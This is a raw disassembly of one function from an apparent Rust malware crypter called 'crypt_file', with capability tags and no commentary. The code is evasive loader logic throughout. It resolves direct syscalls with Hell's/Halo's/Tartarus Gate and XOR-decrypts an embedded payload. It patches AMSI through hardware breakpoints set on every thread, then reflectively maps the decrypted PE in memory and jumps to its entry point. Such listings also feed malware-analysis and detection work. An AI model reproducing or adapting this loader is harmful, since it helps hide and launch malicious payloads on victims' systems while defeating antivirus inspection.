Function at 0x1000e060
Capabilities:
Access peb ldr_data
Check mutex on windows
Encode data using xor
Enumerate processes via ntquerysysteminformation
Get process heap flags
Get system information on windows
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x33c
call sym.crypt_file::proc_sens::sensitive_processes::h6b23c280d14c3c37
lea eax, [0x100ecca0]
mov dword [ebp - 0x348], eax
lea eax, [ebp - 0x348]
mov ecx, dword [ebp - 0x348]
mov dword [ebp - 0x348], 0xbcd06505
mov edx, dword [ebp - 0x348]
call sym.obfstr::xref::inner::hbe55ba6853bb7929
mov ebx, 0xff9f5324
xor ebx, dword [eax]
movzx eax, byte [eax + 4]
mov byte [ebp - 0x10], al
mov eax, dword [0x100f2e44]
movzx eax, byte [eax]
sub esp, 0xc
mov dword [esp + 8], 6
mov dword [esp + 4], 0
call sym.std::sys::alloc::windows::process_heap_alloc::hc2bfe060f1f208f4
add esp, 0xc
test eax, eax
je 0x1000f05a
movzx edx, byte [ebp - 0x10]
mov dword [eax], ebx
mov ecx, edx
xor cl, 0xf9
test bl, bl
mov byte [eax + 4], cl
je 0x1000f063
test ebx, 0xff00
je 0x1000f067
test ebx, 0xff0000
je 0x1000f06e
cmp ebx, 0x1000000
jb 0x1000f075
cmp dl, 0xf9
je 0x1000f07c
mov dword [ebp - 0x348], 6
mov dword [ebp - 0x344], eax
lea eax, [ebp - 0x348]
mov dword [ebp - 0x340], 5
push eax
call sym.alloc::ffi::c_str::CString::_from_vec_unchecked::hf2008e32a538d265
add esp, 4
mov esi, eax
mov edi, edx
push eax
push 0
push 0
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x1000e17e
test edi, edi
mov byte [esi], 0
je 0x1000e173
mov eax, dword [0x100f2e2c]
push esi
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
add esp, 0x33c
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x7c], esi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov esi, dword [eax + 0xc]
add esi, 0xc
mov esi, dword [esi]
cmp dword [esi + 0x18], 0
je 0x1000e217
mov ecx, dword [esi + 0x30]
movzx edx, word [esi + 0x2c]
call sym.crypt_file::ssn_solving::murmurhash3_32::hd75ece57b12b8ea3
cmp eax, 0xaddfe535
jne 0x1000e190
mov esi, dword [esi + 0x18]
lea ecx, [ebp - 0x348]
mov edx, esi
push 0xa2b1807f
call sym.crypt_file::ssn_solving::hells_halos_tartarus_gate::h467d930f7bd59813
add esp, 4
lea ecx, [ebp - 0x348]
mov edx, esi
push 0xced7e31f
call sym.crypt_file::ssn_solving::hells_halos_tartarus_gate::h467d930f7bd59813
add esp, 4
lea ecx, [ebp - 0x348]
mov edx, esi
push 0x91c3ed4a
call sym.crypt_file::ssn_solving::hells_halos_tartarus_gate::h467d930f7bd59813
add esp, 4
lea ecx, [ebp - 0x348]
mov edx, esi
push 0xb2036547
call sym.crypt_file::ssn_solving::hells_halos_tartarus_gate::h467d930f7bd59813
add esp, 4
lea ecx, [ebp - 0x348]
mov edx, esi
push 0xa596d8ce
call sym.crypt_file::ssn_solving::hells_halos_tartarus_gate::h467d930f7bd59813
add esp, 4
mov ecx, 0x7d0
call sym.crypt_file::sleepModule::sleepModule::hc84333eba688a820
mov eax, dword [0x100f2e44]
movzx eax, byte [eax]
sub esp, 0xc
mov dword [esp + 8], 0x78600
mov dword [esp + 4], 0
call sym.std::sys::alloc::windows::process_heap_alloc::hc2bfe060f1f208f4
add esp, 0xc
test eax, eax
je 0x1000f0bb
push 0x78600
push 0x10074324
push eax
mov dword [ebp - 0x70], eax
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x70]
add esp, 0xc
xor eax, eax
nop word [eax + eax]
mov ecx, eax
and ecx, 0x1f
movzx ecx, byte [ecx + 0x100ec924]
xor byte [edx + eax], cl
inc eax
cmp eax, 0x78600
jne 0x1000e270
mov ecx, 0xfa0
call sym.crypt_file::sleepModule::sleepModule::hc84333eba688a820
lea eax, [ebp - 0x344]
push 0x2c8
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp byte [0x100ff034], 0
mov dword [ebp - 0x348], 0x1003f
mov dword [ebp - 0x78], edi
jne 0x1000e3f9
lea eax, [0x100e8207]
lea esi, [ebp - 0x48]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x48], 0x5f39dc80
mov edx, dword [ebp - 0x48]
call sym.obfstr::xref::inner::hdf5b482f5fd2e5f6
mov ecx, 0x8bfb5972
mov edx, 0xfa784a18
xor ecx, dword [eax]
xor edx, dword [eax + 4]
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
lea ecx, [ebp - 0x2c]
push 8
push eax
push ecx
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::hc0fc42e4f437b0f1
add esp, 0xc
xor eax, eax
cmp eax, dword [ebp - 0x2c]
jno 0x1000f34d
mov eax, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
push ebx
call sub.kernel32.dll_GetModuleHandleA
test eax, eax
jne 0x1000e335
push ebx
call sub.kernel32.dll_LoadLibraryA
test eax, eax
je 0x1000e7ff
mov esi, eax
lea eax, [0x100e35da]
mov dword [ebp - 0x14], ebx
lea ebx, [ebp - 0x48]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x48], 0x15fa94e5
mov edx, dword [ebp - 0x48]
call sym.obfstr::xref::inner::hedb055a5771aae3b
mov ecx, 0x86a13edd
mov edx, 0x8e230260
mov edi, 0x2381dfb7
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor edi, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0xc
xor ah, 0x42
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edi
mov byte [ebp - 0x50], al
mov byte [ebp - 0x4f], ah
push 0xe
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x2c]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::hc0fc42e4f437b0f1
add esp, 0xc
xor eax, eax
cmp eax, dword [ebp - 0x2c]
jno 0x1000f3eb
mov edi, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x24]
push edi
push esi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x1000e7cb
test ebx, ebx
mov byte [0x100ff034], 1
mov dword [0x100ff038], eax
mov byte [edi], 0
je 0x1000e3de
mov eax, dword [0x100f2e2c]
push edi
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x10], 0
mov byte [ecx], 0
je 0x1000e3f9
mov eax, dword [0x100f2e2c]
push ecx
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
cmp byte [0x100ff03c], 0
jne 0x1000e530
lea eax, [0x100e5222]
lea esi, [ebp - 0x48]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x48], 0xedd0dce1
mov edx, dword [ebp - 0x48]
call sym.obfstr::xref::inner::h51bc6bd939c9976d
mov ecx, 0x4b4516b9
mov edx, 0xdbda0c70
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
xor al, 0x1a
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x54], al
lea eax, [ebp - 0x5c]
push 9
push eax
push ecx
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::hc0fc42e4f437b0f1
add esp, 0xc
xor ebx, ebx
cmp ebx, dword [ebp - 0x2c]
jno 0x1000f420
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.kernel32.dll_GetModuleHandleA
mov esi, eax
lea eax, [0x100e118a]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x48], 0x3a526d79
mov edx, dword [ebp - 0x48]
call sym.obfstr::xref::inner::h0cbe03f5b60957c8
mov ecx, 0x8260712c
mov edx, 0x4f356ce
mov edi, 0xab7e9abb
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor edi, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0x4f
xor ah, 0x13
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edi
mov byte [ebp - 0x50], al
mov byte [ebp - 0x4f], ah
push 0xe
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x2c]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::hc0fc42e4f437b0f1
add esp, 0xc
cmp ebx, dword [ebp - 0x2c]
jno 0x1000f44b
mov edi, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x24]
push edi
push esi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x1000e7e6
test ebx, ebx
mov byte [0x100ff03c], 1
mov dword [0x100ff040], eax
mov byte [edi], 0
je 0x1000e515
mov eax, dword [0x100f2e2c]
push edi
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x10], 0
mov byte [ecx], 0
je 0x1000e530
mov eax, dword [0x100f2e2c]
push ecx
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
push sym.__ZN10crypt_file9amsi_care17exception_handler17h4adcbe453ff7090fE_4
push 1
call sub.kernel32.dll_AddVectoredExceptionHandler
xorps xmm0, xmm0
lea eax, [ebp - 0x48]
movsd qword [ebp - 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x48], xmm0
push 0
push 0x18
push eax
push 0
push 0xffffffffffffffff
call sub.ntdll.dll_NtQueryInformationProcess
test eax, eax
mov dword [ebp - 0x68], 1
jne 0x1000e56d
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x68], eax
mov eax, dword [0x100f2e44]
movzx eax, byte [eax]
sub esp, 0xc
mov dword [esp + 8], 0x100000
mov dword [esp + 4], 0
call sym.std::sys::alloc::windows::process_heap_alloc::hc2bfe060f1f208f4
add esp, 0xc
test eax, eax
je 0x1000f341
mov esi, eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x74], 0
push eax
push 0x100000
push esi
push 5
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x1000e82a
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x24], 0
test eax, eax
mov dword [ebp - 0x60], eax
je 0x1000e82a
xor ecx, ecx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x64], 4
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x68]
lea edx, [esi + ecx]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x4c], edx
cmp dword [esi + ecx + 0x44], eax
je 0x1000e630
mov eax, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [eax]
test eax, eax
je 0x1000e6ee
add ecx, eax
jb 0x1000f03c
cmp ecx, dword [ebp - 0x60]
jb 0x1000e5f0
jmp 0x1000e6ee
mov eax, edx
add eax, 0xf8
mov dword [ebp - 0x14], eax
jb 0x1000f162
mov eax, dword [edx + 4]
test eax, eax
mov dword [ebp - 0x18], eax
je 0x1000e602
add dword [ebp - 0x14], 0xffffffc0
xor edi, edi
mov esi, 0x4000000
jmp 0x1000e67c
mov ecx, dword [ebp - 0x64]
mov dword [ecx + eax*4], ebx
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
add edi, 0x40
add eax, esi
cmp eax, 0x4000000
je 0x1000e602
sub esi, 1
jb 0x1000ef91
mov eax, dword [ebp - 0x14]
add eax, edi
jb 0x1000ef87
xorps xmm0, xmm0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x5c], 0
movsd qword [ebp - 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x48], xmm0
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x48]
push eax
push 0x1fffff
lea eax, [ebp - 0x6c]
push eax
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x1000e66d
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x2c]
jne 0x1000e660
lea ecx, [ebp - 0x2c]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::ha9487c6506b473cc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x64], ecx
jmp 0x1000e660
cmp dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x2c]
je 0x1000e815
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [0x100f2e2c]
push esi
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
mov ebx, dword [ebp - 0x10]
xor esi, esi
shl ebx, 2
nop dword [eax + eax]
mov eax, dword [ebp - 0x14]
mov edi, dword [eax + esi]
lea eax, [ebp - 0x348]
push eax
push edi
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x1000e80a
cmp byte [0x100ff034], 1
jne 0x1000e769
mov eax, dword [0x100ff038]
mov dword [ebp - 0x344], eax
movzx eax, word [ebp - 0x330]
or eax, 1
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x334], 0
cmp byte [0x100ff03c], 1
jne 0x1000e797
mov eax, dword [0x100ff040]
mov dword [ebp - 0x340], eax
movzx eax, word [ebp - 0x330]
or eax, 4
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x334], 0
lea eax, [ebp - 0x348]
push eax
push edi
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x1000e80a
push edi
call sub.ntdll.dll_NtClose
add esi, 4
cmp ebx, esi
jne 0x1000e720
cmp dword [ebp - 0x18], 0
je 0x1000e83b
push dword [ebp - 0x14]
push 0
mov eax, dword [0x100f2e2c]
jmp 0x1000e834
test ebx, ebx
mov ebx, dword [ebp - 0x14]
mov byte [edi], 0
je 0x1000e7ff
mov eax, dword [0x100f2e2c]
push edi
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
jmp 0x1000e7ff
test ebx, ebx
mov byte [edi], 0
je 0x1000e7fc
mov eax, dword [0x100f2e2c]
push edi
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
mov ebx, dword [ebp - 0x14]
cmp dword [ebp - 0x10], 0
mov byte [ebx], 0
jne 0x1000e82c
jmp 0x1000e83b
cmp dword [ebp - 0x18], 0
mov ebx, dword [ebp - 0x14]
jne 0x1000e82c
jmp 0x1000e83b
test eax, eax
je 0x1000e82a
mov eax, dword [0x100f2e2c]
push dword [ebp - 0x28]
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
mov ebx, esi
mov eax, dword [0x100f2e2c]
push ebx
push 0
push dword [eax]
call sub.kernel32.dll_HeapFree
mov eax, dword [0x100f2e44]
movzx eax, byte [eax]
sub esp, 0xc
mov dword [esp + 8], 0x78600
mov dword [esp + 4], 0
call sym.std::sys::alloc::windows::process_heap_alloc::hc2bfe060f1f208f4
add esp, 0xc
test eax, eax
je 0x1000f0bb
push 0x78600
push dword [ebp - 0x70]
mov dword [ebp - 0x4c], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea eax, [0x100eb0af]
lea edi, [ebp - 0x348]
mov dword [ebp - 0x348], eax
lea eax, [ebp - 0x348]
mov ecx, dword [ebp - 0x348]
mov dword [ebp - 0x348], 0xc593ad3d
mov edx, dword [ebp - 0x348]
call sym.obfstr::xref::inner::h978de7b41e93fe6b
mov ecx, 0xaa05daf9
mov edx, 0x3a04b8d4
mov esi, 0xed3a53b
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx eax, byte [eax + 0xc]
xor al, 0x21
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x344], edx
mov dword [ebp - 0x340], esi
mov byte [ebp - 0x33c], al
push edi
call sub.kernel32.dll_LoadLibraryA
test eax, eax
je 0x1000f16c
mov esi, eax
lea eax, [0x100de776]
lea ebx, [ebp - 0x348]
mov dword [ebp - 0x348], eax
lea eax, [ebp - 0x348]
mov ecx, dword [ebp - 0x348]
mov dword [ebp - 0x348], 0x34985e99
mov edx, dword [ebp - 0x348]
call sym.obfstr::xref::inner::h932fa779838392ca
mov ecx, 0x96b76253
mov edx, 0x255ada8d
mov edi, 0xbf63f488
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor edi, dword [eax + 8]
movzx eax, byte [eax + 0xc]
xor al, 0x51
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x344], edx
mov dword [ebp - 0x340], edi
mov byte [ebp - 0x33c], al
push ebx
push esi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x1000f1a9
mov edi, dword [ebp - 0x4c]
cmp byte [edi], 0x4d
jne 0x1000f0c7
cmp byte [edi + 1], 0x5a
jne 0x1000f0c7
mov eax, dword [edi + 0x3c]
mov ecx, eax
add ecx, 4
jb 0x1000f050
add ecx, 0x14
jb 0x1000f050
mov edx, ecx
add edx, 2
jb 0x1000f050
cmp edx, 0x78600
ja 0x1000f1e6
cmp ecx, 0x785ff
ja 0x1000f223
je 0x1000f233
movzx ecx, word [edi + ecx]
cmp ecx, 0x10b
je 0x1000e9d7
cmp ecx, 0x20b
jne 0x1000f36b
add eax, 0x18
jb 0x1000f104
add eax, 0x3c
jb 0x1000f104
cmp eax, 0x78600
jae 0x1000f244
cmp eax, 0x785ff
je 0x1000f254
cmp eax, 0x785fe
jae 0x1000f265
cmp eax, 0x785fd
je 0x1000f278
movzx ecx, byte [edi + eax]
movzx edx, byte [edi + eax + 2]
movzx esi, byte [edi + eax + 1]
movzx ebx, byte [edi + eax + 3]
lea eax, [ebp - 0x48]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
push 2
push edi
push eax
call sym.core::str::converts::from_utf8::h614587554aa91dbb
add esp, 0xc
test byte [ebp - 0x48], 1
jne 0x1000f28b
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
cmp ecx, 2
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
jne 0x1000f10e
cmp word [eax], 0x5a4d
jne 0x1000f10e
mov edx, dword [edi + 0x3c]
mov eax, edx
add eax, 4
jb 0x1000f14e
add eax, 0x14
jb 0x1000f14e
mov ecx, eax
add ecx, 2
jb 0x1000f2ce
cmp ecx, 0x78601
jae 0x1000f2d8
sub ecx, eax
cmp ecx, 2
jne 0x1000f2e8
movzx eax, word [edi + eax]
cmp eax, 0x10b
je 0x1000eab6
cmp eax, 0x20b
jne 0x1000f3a8
mov eax, edx
add eax, 0x18
jb 0x1000f158
add eax, 0x3c
jb 0x1000f158
cmp eax, 0x78600
ja 0x1000f2f5
mov ecx, edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], edx
add ecx, edx
jb 0x1000f305
mov ebx, dword [edi + eax - 4]
xor eax, eax
cmp dword [ecx], 0x4550
cmove eax, ecx
mov edi, dword [eax + 0x34]
mov dword [ebp - 0x1c], eax
push 4
push 0x1000
push ebx
push edi
call sub.kernel32.dll_VirtualAlloc
test eax, eax
mov dword [ebp - 0x60], ebx
jne 0x1000eb26
push 4
push 0x1000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x1000f479
mov edx, dword [ebp - 0x18]
mov ecx, eax
sub ecx, edi
mov dword [ebp - 0x64], ecx
jo 0x1000f30f
mov ecx, dword [ebp - 0x14]
shl esi, 8
shl edx, 0x18
add esi, dword [ebp - 0x10]
shl ecx, 0x10
or esi, ecx
or esi, edx
push esi
push dword [ebp - 0x4c]
push eax
mov dword [ebp - 0x10], eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x10]
jb 0x1000f319
add eax, 0xf8
mov dword [ebp - 0x30], eax
jb 0x1000f323
mov eax, dword [ebp - 0x1c]
movzx esi, word [eax + 6]
test si, si
je 0x1000ebc8
mov eax, dword [ebp - 0x30]
lea edi, [eax + 0x14]
nop word cs:[eax + eax]
nop
mov ecx, dword [edi]
mov eax, dword [edi - 4]
mov edx, ecx
add edx, eax
jb 0x1000ef9b
mov ebx, dword [edi - 8]
add ecx, dword [ebp - 0x4c]
add ebx, dword [ebp - 0x10]
cmp edx, 0x78601
mov edx, 1
cmovae ecx, edx
push eax
push ecx
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
add edi, 0x28
dec si
jne 0x1000eb90
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
cmp dword [eax + 0x84], 0
je 0x1000ed41
mov eax, dword [ebp - 0x1c]
mov ebx, dword [eax + 0x80]
add ebx, edx
jae 0x1000ec0c
push 0x100741d8
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
nop word cs:[eax + eax]
nop dword [eax]
mov ebx, dword [ebp - 0x68]
add ebx, 0x14
jb 0x1000f014
mov esi, dword [ebx + 0xc]
test esi, esi
je 0x1000ed41
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x1000ed41
add esi, edx
mov dword [ebp - 0x14], eax
jb 0x1000f00a
mov edi, dword [ebx]
cmp byte [esi], 0
je 0x1000ec4d
xor eax, eax
nop word cs:[eax + eax]
inc eax
jo 0x1000ef37
cmp byte [esi + eax], 0
jne 0x1000ec40
push esi
call sub.kernel32.dll_LoadLibraryA
lea ecx, [eax + 1]
cmp ecx, 2
jae 0x1000ec61
push esi
call sub.kernel32.dll_GetModuleHandleA
mov edx, dword [ebp - 0x10]
test edi, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x68], ebx
je 0x1000ec80
add edi, edx
jb 0x1000f028
add dword [ebp - 0x14], edx
setb bl
jmp 0x1000ec90
mov edi, dword [ebp - 0x14]
add edi, edx
jb 0x1000f046
xor ebx, ebx
mov dword [ebp - 0x14], edi
xor esi, esi
nop word cs:[eax + eax]
nop dword [eax]
mov eax, dword [edi]
test eax, eax
je 0x1000ec00
js 0x1000ecf0
add eax, edx
jb 0x1000ef55
add eax, 2
jb 0x1000ef4b
cmp byte [eax], 0
je 0x1000ed27
xor ecx, ecx
nop word cs:[eax + eax]
nop
inc ecx
jo 0x1000ef37
cmp byte [eax + ecx], 0
jne 0x1000ecd0
cmp ecx, 1
ja 0x1000ecf5
jmp 0x1000ed27
and eax, 0x7fffffff
push eax
push dword [ebp - 0x18]
call sub.kernel32.dll_GetProcAddress
test bl, bl
jne 0x1000ef5f
mov edx, dword [ebp - 0x10]
cmp esi, 0x3fffffff
ja 0x1000ef69
lea ecx, [esi*4]
add ecx, dword [ebp - 0x14]
jb 0x1000ef73
mov dword [ecx], eax
inc esi
je 0x1000ef41
add edi, 4
jae 0x1000eca0
push 0x10074288
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
cmp dword [ebp - 0x64], 0
je 0x1000ee0b
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 0xa4], 0
je 0x1000ee0b
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xa0]
add eax, dword [ebp - 0x10]
jb 0x1000f416
mov esi, dword [eax + 4]
test esi, esi
je 0x1000ee0b
mov edi, eax
add edi, 4
jmp 0x1000ed96
mov ecx, dword [ebp - 0x14]
mov esi, dword [ecx]
lea ecx, [eax + esi]
lea edi, [eax + esi + 4]
mov esi, dword [eax + esi + 4]
mov eax, ecx
test esi, esi
je 0x1000ee0b
cmp esi, 8
jb 0x1000f01e
lea edx, [esi - 8]
cmp edx, 2
jb 0x1000ed85
mov esi, eax
mov dword [ebp - 0x14], edi
add esi, 8
jb 0x1000f032
shr edx, 1
cmp edx, 1
adc edx, 0
xor edi, edi
jmp 0x1000eddb
mov ebx, dword [ebp - 0x64]
add dword [ecx], ebx
add edi, 2
dec edx
je 0x1000ed80
mov ecx, esi
add ecx, edi
jb 0x1000ef7d
movzx ebx, word [ecx]
cmp ebx, 0x1000
jb 0x1000edd5
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10]
jb 0x1000ee01
and ebx, 0xfff
add ecx, ebx
jae 0x1000edd0
push 0x100741c8
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
mov esi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x30]
movzx ebx, word [eax + 6]
add esi, dword [ebp - 0x10]
mov word [ebp - 0x6c], bx
jb 0x1000f32d
test bx, bx
je 0x1000eeec
neg ebx
add edx, 0xc
mov di, 1
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x14], ebx
jmp 0x1000ee82
shr edx, 0x16
nop word cs:[eax + eax]
nop dword [eax]
mov ebx, dword [ebp - 0x14]
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
push esi
push edx
push eax
push ecx
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x1000efa5
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x60]
lea eax, [ebx + edi + 1]
add edx, 0x28
inc edi
cmp ax, 1
je 0x1000eeec
mov eax, dword [edx + 4]
test eax, eax
je 0x1000ee74
mov ecx, dword [edx]
add ecx, dword [ebp - 0x10]
cmp esi, ecx
jbe 0x1000ee74
mov ebx, dword [edx + 0x18]
mov dword [ebp - 0x30], edx
mov edx, ebx
and edx, 0x20000000
test ebx, 0x40000000
jne 0x1000eec0
test ebx, ebx
js 0x1000ee3f
test edx, edx
mov edx, 0x10
mov ebx, 1
cmove edx, ebx
jmp 0x1000ee50
test ebx, ebx
js 0x1000eed8
test edx, edx
mov edx, 0x20
mov esi, 2
cmove edx, esi
jmp 0x1000ee50
test edx, edx
mov edx, 0x40
mov esi, 4
cmove edx, esi
jmp 0x1000ee50
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov eax, dword [eax + 0x28]
add eax, ecx
jb 0x1000f337
push 0
push 1
push ecx
call eax
mov esi, dword [0x100f2e2c]
push dword [ebp - 0x4c]
push 0
push dword [esi]
call sub.kernel32.dll_HeapFree
push dword [ebp - 0x70]
push 0
push dword [esi]
call sub.kernel32.dll_HeapFree
mov esi, dword [ebp - 0x7c]
cmp dword [ebp - 0x78], 0
mov byte [esi], 0
jne 0x1000e164
jmp 0x1000e173
push 0x10074298
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074278
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074238
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074228
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074248
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074258
call sym.core::panicking::panic_const::panic_const_mul_overflow::h70cc655524f1cd1d
push 0x10074268
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x100741b8
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10073e90
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10073e80
call sym.core::panicking::panic_const::panic_const_mul_overflow::h70cc655524f1cd1d
push 0x10074144
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
call sub.kernel32.dll_GetLastError
lea eax, [ebp - 0x5c]
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x348], 0x10074168
mov dword [ebp - 0x344], 2
mov dword [ebp - 0x338], 0
mov word [ebp - 0x5c], di
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_u16_GT_::fmt::hb3b141e996a7d49f
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x340], ecx
mov dword [ebp - 0x3c], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_u16_GT_::fmt::hb3b141e996a7d49f
mov dword [ebp - 0x33c], 2
push 0x10074178
lea eax, [ebp - 0x348]
push eax
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
push 0x100741e8
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074218
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074198
call sym.core::panicking::panic_const::panic_const_sub_overflow::h31f5191bdbee8bd5
push 0x10074208
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x100741a8
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10073e70
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x100741f8
